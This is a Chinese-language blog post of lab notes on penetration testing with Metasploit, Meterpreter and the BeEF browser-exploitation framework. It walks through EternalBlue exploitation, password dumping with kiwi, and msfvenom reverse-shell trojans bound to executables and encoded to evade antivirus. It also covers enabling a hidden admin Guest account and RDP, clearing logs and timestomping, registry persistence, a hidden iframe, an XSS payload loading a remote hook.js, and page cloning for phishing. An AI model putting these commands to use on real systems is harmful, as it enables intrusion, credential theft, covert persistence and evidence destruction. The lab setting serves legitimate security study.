Metasploit Framework渗透框架详细介绍由
Ruby语言编写,模块化构造,易于开发使用术语介绍
exploit渗透测试攻击:包括缓冲区溢出,
Web应用程序漏洞攻击,系统配置错误payload攻击载荷:利用漏洞进行攻击的代码
windows/shell/bind_tcp是一个著名的payload,可以将shell控制会话绑定到指定的TCP端口上如
win7/10使用了数据执行保护等,使缓冲区空间减小,防止注入而
metasploit给我们提供了传输器与传输体,传输器用于首先传入极短的payload,用于后续下载更多传输提中payload,可以绕过防御机制shellcode指令,渗透中作为攻击载荷运行的指令,常常用汇编编写。
meterpreter ShellModule模块Payload module渗透攻击模块auxiliary module辅助模块AUX,做目标信息收集,端口扫描,网络服务查找,验证信息服务暴力破解,模糊测试,ARP欺骗NOP module空指令模块提供对
target的程序运行不会造成实质影响的空操作或无关操作指令,比如0x90构造缓冲区溢出时,执行
shellcode前需要增加一段空指令区,如此触发渗透攻击后跳转到执行shellcode时有一段较大的空区域,避免内存地址随机化导致shellcode执行失败所以执行
shellcode前先执行空指令,可以增加攻击成功率Encoding module编码器模块避免失效字符或坏字符的存在影响
payload在缓冲区的执行比如
0x00会被解析成字符串结尾,从而导致攻击载荷执行失败以及对
payload做免杀,通过不同形式编码以及不同的编码器进行,使payload变得杂乱,但系统仍可识别而WAF不可识别而编码后
payload体积会明显增大,POST module后渗透攻击模块通过
meterpreter或传统shell加载到目标平台上运行敏感信息收集
常见的有用户密码(明文传输存储,存放在内存中),或者用户键盘记录,本地会话管理
meterpreter最著名且强大的模块作为植入到目标系统上的攻击载荷,可以提供基本控制会话,集成了大量的后渗透攻击功能,如抓取用户哈希,提权等功能
listener监听器用于等待被攻击的系统来连接
Libraries基础库文件源代码根目录下,包括:
Rex,framework-core,framework-base如果不开发自己的模块的话,不需要了解这个太多
插件
集成现有的安全工具,如
Nessus,OpenVAS接口
msf console控制台终端msf cli命令行msf gui图形化界面msf api远程调用接口
MSF渗透攻击技术和Meterpreter高级技术实践MSF控制台命令show exploits展示所有的漏洞,感觉并没有什么用处
search搜索对应漏洞,支持按照名称,类型,时间,等级等


use使用漏洞

back退出漏洞使用
show options选取对应漏洞后使用,列出需要填写的参数

set/unset用该命令来设置参数
info
setg/unsetg设置全局参数
save改变全局变量后保存配置
meterpreter常用命令background将会话隐藏到后台,继续使用
MSFsessions查看已有的会话
sessions -i [num],返回原有会话shell直接获取系统控制台
shellirb开启
ruby终端,仅当被控端有ruby时upload/downloadupload [file name] [path]/download [源文件路径] [下载到的路径]editedit [file path\name]注意要双写
\以转义search-d搜索路径 ,-f搜索名称
portfwd进行端口转发,可以将目标端口映射到外网主机端口,以此能从外网访问
portfwd add -l [msf的端口] -r [msf ip] -p [被控主机将被转发端口]

ps查看目标主机进程信息
migrate迁移会话,比如使用
IE浏览器漏洞的时候,如果对方关闭IE,会话将会终止,但如果将其会话迁移到后台程序中则可以保持会话,此种迁移不留下痕迹且不会中断TCP会话set autorunscript migrate -f连接成功后自动迁移进程screenshot截屏kill杀死进程sysinfoshutdownwebcam_xx访问目标网络摄像头
haashdump得到登陆用户加密的
hash值smbpass当
hash值无法被破解时,直接传递该hash值到其他需要验证的地方clearev清除日志
timestomp修改文件最后的修改时间,使文件看起来没有被修改过
这个命令仅支持
windows端timestomp [filename] -a '[time]'
这里笔者自行复现一下
ms17-010永恒之蓝漏洞


扫出来有漏洞,开始用
payload注入,use 0进入攻击接口配置
rhosts,port,payload类型
run开始注入,出现meterpreter >代表已成功连接做一下功能演示:
screenshot
密码破解
1
2load kiwi
creds_all加载
kiwi插件,并查看密码
理论上这里会直接出现明文密码,但我即使是
system权限且是 $64$ 位还是显示不出来,qwqupdate: 突然可以了
shell使用被控主机控制台
对于出现乱码的情况,用
chrp 65001将编码转成UTF-8
为了更深一步操作,如果想登录主机可以利用远程端口登录,但之前我们需要利用
Guest账号(因为Guest账号是系统自带的来宾账号,如果使用别的账号登录的话,容易引起怀疑)1
2
3net user Guest /active:yes
net localgroup administrators Guest /add
net user Guest 123激活并转成管理员权限并修改密码
1
2net user Guest /active:no
net localgroup administrators Guest /del为了远程登录,需要开放
3389端口1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
将
0改为1即可关闭该端口1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f
可以用
rdesktop远程连接
用
guest账户登录即可登录后记得关闭端口,删除用户,再用
clearev删除记录,效果如下
最上面两条是我之后操作的,删除后应该只有最下面一条
乐,下一节课就是利用永恒之蓝,不提前看标题是这样的
MSF免杀实践metasploit木马分类stagedstager由引导代码loader和payload组成, 客户端接受stager后在内存中分配地址将payload暂存,再通过loader加载内存中的payload。这种内存中注入PE文件的方式称为反射型DLL注入stageless将完整的
payload编译在木马中,相比较来,staged的体积庞大不灵活,且更容易被杀
免杀方式
修改特征码,修改程序入口点,花指令,加壳
msfencoder对
payload文件进行重新排列编码,改变可执行文件中代码形状,避免被杀软认出;程序功能不受影响,程序运行后将原始程序解码到内存执行msfvenom查看编码器msfvenom -l encoders查看多平台可用的编码方式MSF使用多重编码来改善shellcode免杀能力木马生成,捆绑与免杀
找到合适的
payloadsmsfvenom --list payloads | awk '/[keyword]/'
生成
1
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai --platform=x86 lhost=[ip] lport=[port] -x [target_exe] -i [encode_times] -f exe -o [generate_path]
-p指定payloads-e选择编码器--platform选择平台:x86|x64|x86_64-s生成的payload最大长度-b避免使用字符,如\0f , \x00字符串遇到会截断lhost , lport本地监听回连地址和端口-x把木马捆绑到指定的可执行程序上-i编码次数,理论上多次编码有助于免杀-k保留模板文件正常行为,并将注入的payload作为单独线程运行,不影响原程序
等待回连
1
2
3
4
5use exploit/multi/handler
set payloads xxx
set lhost [host]
set lport [port]
exploit //开始监听shellcode免杀手动编译
meterpreter,对shellcode编码,一般能绕过静态查杀meterpreter直接加载进内存并由编码,一般可以绕过动态查杀cpp加载shellcodemsfvenom -f c生成c格式1
2
3
4
5
6
7
8
9
10
11
12
unsigned char buf[] = //从Bin文件复制过来的ShellCode
void main() {
__asm {
lea eax,buf
call eax
}
}编译生成的
exe可以大概能过静态查杀进程防丢失
在生成
shellcode时使用如下参数PrependMigrate=true PrependMigrateProc=svchost.exe可以将payload注入至svchost.exe进程中,以防原文件关闭后进程终止导致连接丢失加密
shellcode传输的数据流避免
shellcode回连成功,与msf交互时被查杀metasploit设置1
2
3
4set EnableStageEncoding true
set stageencoder x86/fnstenv_mov
set stageencodingfallback false
savepayload加密1
windows/meterpreter/reverse_https
1
windows/meterpreter/reverse_tcp_rc4 PC4PASSWORD=[password]
rc4加密,生成时指定加密密钥,在监听端设置相同密钥躲避查杀
加壳
加密压缩可执行文件,体积减小,使用不同加密算法。
但壳也有特征码,会被杀软报毒
1
upx -5 [name].exe
对抗沙盒免杀
调用系统的
sleep来实现AV检测文件超时,从而放弃对文件检测一般不好绕过
meterpreter常驻免杀persistence和metsvc,但其特征已被广大杀软关注,一定会被查杀绕过杀软,添加自启动
1
2
3exploit/windows/local/registry_persistence
exploit/windows/local/vss_persistence
exploit/windows/local/s4u_persistence将
shellcode添加到注册表,并通过powershell加载该shellcode以运行msf加载的
payload由msf指定,每次不同,如果不监视注册表,不限制powershell几乎不会被杀利用
powershell-f psh-reflection -o [filename].ps1通过自编写脚本加载
powershell,eg1
Add-Persistence -FilePath .\[filename].ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose
MSF客户端渗透测试实战简介
通过构造畸形数据发送给目标,使用含有漏洞缺陷的客户端应用程序处理数据后发生程序内部处理错误,执行了嵌在数据中的恶意代码
一般来说需要提前对目标进行调查,以诱导目标打开对应文件
Windows安全防护机制DEP数据执行保护在
CPU中设置NX内存页保护ASLR地址空间布局随机化堆地址随机化,栈基址随机化,进程线程内存块随机化
攻击
堆喷射,
ROP
基于浏览器的渗透测试
原理:堆喷射
通过组合 大量空指令+
shellcode,构造出一个注入代码段。向系统申请大量内存并反复用注入代码段来填充,最终导致shellcode执行系统对堆的管理存在分块机制,因此我们分块填充申请的空间,每个空间填满空指令并在最后填入
shellcode,堆大致如下1
2
3
4
5
6
7
8
9Heap
±-------------+
| slide code |
| shellcode |
±-------------+
| slide code |
| shellcode |
±-------------+
…用空指令填充而不是全部使用
shellcode的原因是要确保shellcode从第一条语句开始执行,若命中任意空指令,其都将顺延至执行shellcode可能覆盖到的地址有
0x0A0A0A0A(160M),0x0C0C0C0C(192M),0x0D0D0D0D(208M)等。堆喷射的成功前提是:当调用填充的过程中恰好覆盖的一个虚函数指针时,先取得栈中的对象指针,通过对象指针取得虚表指针,然后在虚表内适当偏移处取得函数指针执行
也就是说,当使用
0c0c0c0c作为空指令填充时,地址0x0c0c0c0c处也应为空指令0c0c0c0c,由此能恰好执行空指令直到执行到shellcode
msf练习1
2
3
4
5
6search browser_autopwn
use 1
set lhost [主机ip]
set srvhost [主机ip]
set uripath auto
run

用
IE打开还要加到信任列表里,结果是这样的
利用网站
iframe进行大规模客户端渗透在网页中嵌入如下代码
1
2<iframe src="[msf生成的网址及端口]" width=0 height=0 style="hiden" ...>
</iframe>复现
ms10-002极光没什么好说的,
msf设置完直接用旧版本IE访问就行配合
ettercap的dns劫持来攻击主机dns劫持部分去
ettercap目录下更改ettercap.dns
在最后增加伪造的
dns,让所有网页都被欺骗到本机
ettercap -G启动图形化界面用这个扫一下,网关
.1添加到target1,把靶机.129添加到target2,因为要截获靶机发给网关的通信
设置
ARP-poisoning
确保
sniffing在进行中
然后到
plugins-manage plugins-dns_spoof双击启动
这里有一点要注意的,就是靶机的默认网关可能是
.2,这个可以通过扫描结果看出来msf启动欺骗网站然后启动
msf1
2
3
4
5use auxiliary/server/browser_autopwn2
set LHOST 192.168.19.128
set SRVPORT 80
set URIPATH /
exploit这里我采用的是直接将靶机的
dns劫持到msf的攻击链接上,也可以通过apache2劫持到自定义界面,再在自定义界面中嵌入攻击链接的方式注入。理论来说后者更不容易引人怀疑,但笔者在复现时没有成功随后介绍了一些针对不同软件客户端的漏洞,都是简单的用msf脚本即可,不多赘述
msf内网渗透实践准备
准备三台虚拟机,其中
metasploitable2充当网关的角色,sudo下更改etc/network/interfaces
此时
kali不能ping通内网靶机,只能连接网关初始探查
nmap扫43网段,分析得到第一个靶机的地址,也就是“网关”的IP建议存下来便于以后利用,当然也可以使用
msf中自带的数据库来存储信息对于扫出来的端口,一个个分析对应的版本,查看是否有漏洞
21笑脸漏洞
该版本存在一个后门漏洞,从
exploit-db搜索得到相应信息当输入
:)时,6200端口会被打开,从而用nc可以连接80可以发现打开了
80端口,访问网站查看一下更改
index.的后缀,发现其使用php而
php存在一个参数化的漏洞,当提交参数-s时 ,如下图,它可以导致网站直接以源代码形式显示
139/445samba smbd存在远程命令注入漏洞,可以轻易用msf搜索出来随便挑一个拿个
shell
靶机 $1$ 为跳板攻击目标靶机 $2$
现在给靶机
1上马以获得一个msf的命令行便于更好攻击1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.43.154 LPORT=4444 -f elf > backdoor.elf
将后门文件放到
var/www/html中,开启apache2, 让靶机 $1$ 从主机服务器上自行下载,并chmod给一个可执行权限
msf用exploit/multi/handler连接木马,连接的窗口中./backdoor.elf执行使用
run get_local_subnets看到发现内网
用
autoroute添加一条基于sessions的路由,-s [靶机2的IP段]
用
arp发现另一台内网中的存活主机,但只在该主机与网关通信时
然后用
auxiliary/scanner/portscan/tcp扫一下该主机的开放端口
80端开放,用auxiliary/scanner/http/http_version检查一下其服务
但这里出现了奇怪的问题,设置跳板后无法
ping到靶机 $2$ ,但可以用模块进行端口扫描
视频中也出现了相同的问题,并没有给出解决方案,笔者找不到解决方法,暂且搁置
Armitage渗透测试实践介绍
实现对
metasploit图形化的操作,并可以给出提示,跨平台使用其启动需要
postgresql , metasploit的开启postgresql配置sudo -u postgres psql先登录数据库,alter user postgres with password 'admin';更改密码,然后\q退出
现在可以用新密码登录了
psql -U postgres -d postgres -h 127.0.0.1 -p 5432然后设置允许远程访问
gedit /etc/postgresql/16/main/postgresql.conf把这一行的注释删去,
localhost改为*
然后更改同目录下的
hba_conf,注释全部内容并在最下方添加如图,表示允许任意地址通过密码进行远程访问
然后建立一个数据库
1
2create user msf with password 'admin' createdb;
create database msf with owner=msf;此时
msf中可以手动连接db_connect msf:admin@127.0.0.1/msf可以去目录
usr/share/metasploit-framework/config下新建配置文件database.yml以达到自动连接,具体格式可以从database.yml.example中复制得到
至此,提前准备工作完成
用
armitage启动,在msf中运行load msgrpc,会加载出新的密码


使用
笔者感觉图形化界面没什么好说的,比普通的界面看起来直观,但操作不是很方便,可以辅助使用
BeEF框架介绍
Ruby中内置的框架,用于评估浏览器的安全性创造一个链接来连接浏览器,链接通常是
JS编写的hook,在浏览器与服务器之间建立一个检测信号,可以允许攻击者向目标浏览器发送JS命令,浏览器再将回应返给攻击者其发送的是
web请求,发生在浏览器所配置的代理之上,能穿过防火墙。所以目标浏览器一旦运行了JS挂钩,那么攻击者对浏览器活动就有很高的权限这个
kali里面也是有内置的,但笔者建议把内置的删掉再安装最新的1
2
3
4apt-get purge --auto-remove beef
apt-get purge --auto-remove beef-xss
git clone https://github.com/beefproject/beef
./install然后去
config.yaml中更改默认密码使用
./beef启动./beef -x清理数据库beef控制台使用http://127.0.0.1:3000/ui/panel中访问图形化界面
点击箭头处链接浏览器就会上线,可以在左边栏看到

对于
Command模块,绿色代表可以在当前浏览器上执行,且当前使用用户不会察觉;下方的橙色代表可执行,但用户可能发觉;灰色代表无法确定该命令能否执行;红色可以执行,但结果未知,即无法生效挂钩浏览器
无论是反射型
xss或者arp欺骗,最终目的都是让目标浏览器访问/加载beef的hook页面http://127.0.0.1:3000/demos/basic.html以基本的反射型
xss为例首先需要一个易受
xss攻击的网站,新建一个php页面,代码如下1
2
3<HTML> <BODY> <FORM>
<INPUT TYPE=TEXT NAME=echo VALUE="<?php print $_REQUEST['echo']?>">
<INPUT TYPE=SUBMIT> </BODY></HTML>那么靶机访问
http://192.168.19.128/echo.php?echo=%22%3E%3Cscript%20src=%22http://192.168.19.128:3000/hook.js%22%3E%3C%2Fscript%3E%22则会成功链接ettercap DNS欺骗欺骗到
beef生成的钩子地址上即可自动注入挂钩
借助
beef injection framework自动重写web流量使其包含挂钩1
git clone https://github.com/SpiderLabs/beef_injection_framework
获取指纹实践
浏览器指纹
command-browser-fingerprint
用户指纹
包括浏览器存储的
cookie,用户会话历史,综合以上信息可知到用户常访问的网站类型用
beef高级演示页面来演示即靶机访问
[IP]:3000/demos/butcher/index.html
在下方填入的信息即便不提交,也可以在
beef中使用command-browser-get form value查看到
接下来笔者跟着这位来复现一遍操作
初始化控制
XSS在真实环境中,对于
beef这种需要加载远程js的XSS攻击,存在一种更优的防御方法,即CSP,内容安全策略。其同于检测并削弱某些特定类型攻击。CSP规定页面从哪里加载脚本,以及对脚本做出限制,如限制执行js的eval()函数,如1
<meta http-equiv="Content-Security-Policy" content="default-src 'self' ">
该段指令让浏览器仅加载同源资源,以防止异源的
beef攻击有安全漏洞的
Web应用- 广告网路
社工
网站搭建
使用
beef自带的Web克隆功能,其默认在被克隆的网站内容中注入钩子,注意此克隆在beef被关闭后被销毁
1
2
3curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"[目标网站网址]","mount":"[放在本地的位置]"}' -X POST http://127.0.0.1:3000/api/seng/clone_page?token=[上面的token]
curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"https://www.baidu.com","mount":"/testclone"}' -X POST http://127.0.0.1:3000/api/seng/clone_page?token=b75029028687f8dbdebdfb842d868ca516914e86
搭建成功后发现僵尸不上线,查看网站源码,发现是
js地址错误
到配置文件
config.yaml里
改成本机的
IP即可,随后重启服务诱饵
钓鱼邮件
需要模糊,缩短
url,并设计自己的邮件系统物理诱惑
有
html文件的u盘QR code感觉是最为保险的手段
中间人攻击
此类攻击仅当和受害者在同一网络下才可进行,考虑用
aircrack-ng破解wifi密码这里使用
mitmproxy,顺便记录一下使用时的问题安装
报错
11
2raise ValueError(f'mutable default {type(f.default)} for field '
ValueError: mutable default <class 'mitmproxy.contentviews.grpc.ProtoParser.ParserOptions'> for field parser_options is not allowed: use default_factory解决方案是更新
apt源并更新mitmproxy,大概原因是kali内置的版本过老,不支持本机的python3.111
2apt update
apt-get install mitmproxy报错
21
AttributeError: module 'OpenSSL.SSL' has no attribute 'DTLS_SERVER_METHOD'. Did you mean: 'TLS_SERVER_METHOD'?
应该是
pyOpenSSL的问题,更新一下1
pip3 install mitmproxy
但又遇到了
pip3报错1
error: externally-managed-environment
我搜到的解决方案是使用
1
pip3 install mitmproxy --break-system-packages
使用
在新版的
mitmproxy中-R参数已经失效,笔者目前并没有找到正确的脚本来进行钩子的插入(哭哭
持续控制
初始的控制仅发生在用户点击的页面内,一旦用户关闭该页面或浏览器就会失去控制,所以要尽可能维持控制以给后续的攻击争取时间
持续控制分为两种:持久通信,
beef服务器与僵尸之间通信技术的选择;持久存续,让用户尽可能停留在钩子页面持久通信
CORS跨域资源共享其扩展了同源策略的限制,允许页面读取来自其他来源的
http响应,即beef发送的命令对于浏览器一定是异源的,故其发送的每个http头部都包含:1
2Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST, GET以允许来自任意地方的
post/get请求开启
Websocket通信其速度快于
beef默认使用的XMLHTTPRequest,但其不适用于低版本的浏览器:IE>=10,Firefox>=16.0,chrome>=23.0在默认下,
kali中其配置文件位于/usr/share/beef-xss/config.yaml做出如下修改
1
2
3# Prefer WebSockets over XHR-polling when possible.
websocket:
enable: truebeef会根据浏览器版本自动选择是否使用websocket
持久存续
内嵌
iframe框架persistence-Create foreground iFrame模块,不需任何参数即可执行,在僵尸浏览器上创造一个100%的iframe在用户点击一个新界面时代码生效
其弊端是顶部的
url栏不会改变,如图
而对于使用
js渲染的页面则会出现页面混乱,点击无效等情况MitB浏览器中间人与中间人攻击不同,不需要处在同一网络下。
Persistence-Man In The Browser模块在僵尸浏览器中用js自动截获/发送http的内容,并异步展现给用户在用户正常访问的同时能保持钩子
其弊端也很明显,即不能打开图片
以及对于
js制作的跨域链接,由于MitB实现原理缺陷导致其无法控制新页面注意
MitB与iframe只能使用一种窗口事件处理
Persistence-Confirm Close Window不断弹出如下窗口
但如今的浏览器早已不再允许反复弹出,对于不同浏览器该模块有着不同表现
firefox和chrome只有在关闭浏览器时才会有弹窗;360在关闭当前页面或关闭浏览器时都会有弹窗;QQ点击关闭当前页面之后,它会打开一个新标签页去加载BeEF服务器的demo页面;搜狗全部都没有弹窗。如此仅能使用户多停留几秒,但这几秒也是值得争取的,所以可以与上两种的一种结合使用
动态底层弹出窗口Persistence-Create Pop Under可以在用户点击链接时弹出一个指向beef初始化页面的窗口。浏览器常常会阻止网站弹出,而由用户点击的操作则不影响弊端是如此只能弹出
beef窗口,会导致用户察觉,而且笔者这里用chrome复现失败
绕过同源策略与浏览器代理
SOP与DOM文档对象模型浏览器同源策略,限制不同源的交互,致使
beef仅能对被钩子钩住的页面所在域进行操作,绕过同源策略可以考虑旧版浏览器及其插件漏洞,或者利用Web的特性,这里介绍后者当子域之间需要相互访问时,如
login.site.com需要访问admin.site.com的表单,开发者会在admin.site.com所在页面加入如下js1
document.domain="site.com"
那么
site.com下所有子域都可以访问admin.site.com的DOM那么当
beef钩住test.site.com,可以查找具有此类的页面,从而小范围绕过SOP的限制SOP与CORS与上文类似的,由于
Web开发者错误的设置导致可以进行跨域资源共享,在子站test.site.com加入以下代码1
2Access-Control-Allow-Origin: *.site.com
Access-Control-Allow-Methods: OPTIONS, GET, POST会导致
site.com的所有子站都可以访问test.site.com的资源Tunneling Proxy浏览器代理beef中极为强大的一个功能对于被钩住的僵尸浏览器
A以及被钩住的域hook-domain.com,攻击浏览器B:B通过beef发送http请求,转为AJAX请求插入僵尸浏览器B随后要执行的js脚本中,浏览器B向域hook-domain.com发送一个AJAX请求,且请求带上了该网站的cookie,域返回的请求则会被钩子截取并返回给攻击浏览器A,而不会显示在浏览器B上完成这个实验需要三个不同的浏览器,僵尸浏览器
A,攻击者浏览器B用于登录beef服务器,攻击者浏览器C用于使用代理,三者不共享数据先去
extensions/proxy/config.yaml确保enable为true
对于被钩住的浏览器
B选择Use as proxy
如此,
beef所在主机的6789端口就是一个代理使用
firefox -P打开另一个不共享数据的浏览器
将其代理设为
127.0.0.1 port:6789与配置文件保持统一理论上此时浏览器
C可以登录浏览器B正在访问的网站且不需输入密码笔者坐牢两天后放弃了,有复现成功的教教笔者orz
XSS漏洞安全实践XSS代码提交给网站 —XSS代码Setcookie到浏览器 —Browser请求网站提交包含XSS的Cookie— 网站取变量返回给客户端 — 客户端运行XSS JSDOM基于文档对象模型与平台或语言无关的接口,允许程序或脚本动态访问更新文档内容,结构样式
原因是
DOM数据没有经过过滤和确认看一个简单的
xss1
2
3
4
5
6<html><body>
<script>
var a='<?php echo $_GET['data'] ?>';
document.write('<textarea>' + a + '</textarea>');
</script>
</body></html>payload可以是qwq';alert();var b='出现此类漏洞的原因是网页对于输入没有进行过滤,且输出使用了危险的指令
这部分都很基础,略
安全牛第三章-安全测试实践1.0
- 本文链接: http://noone40404.github.io/anquanniu-ch3-test-practice-1/
- 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!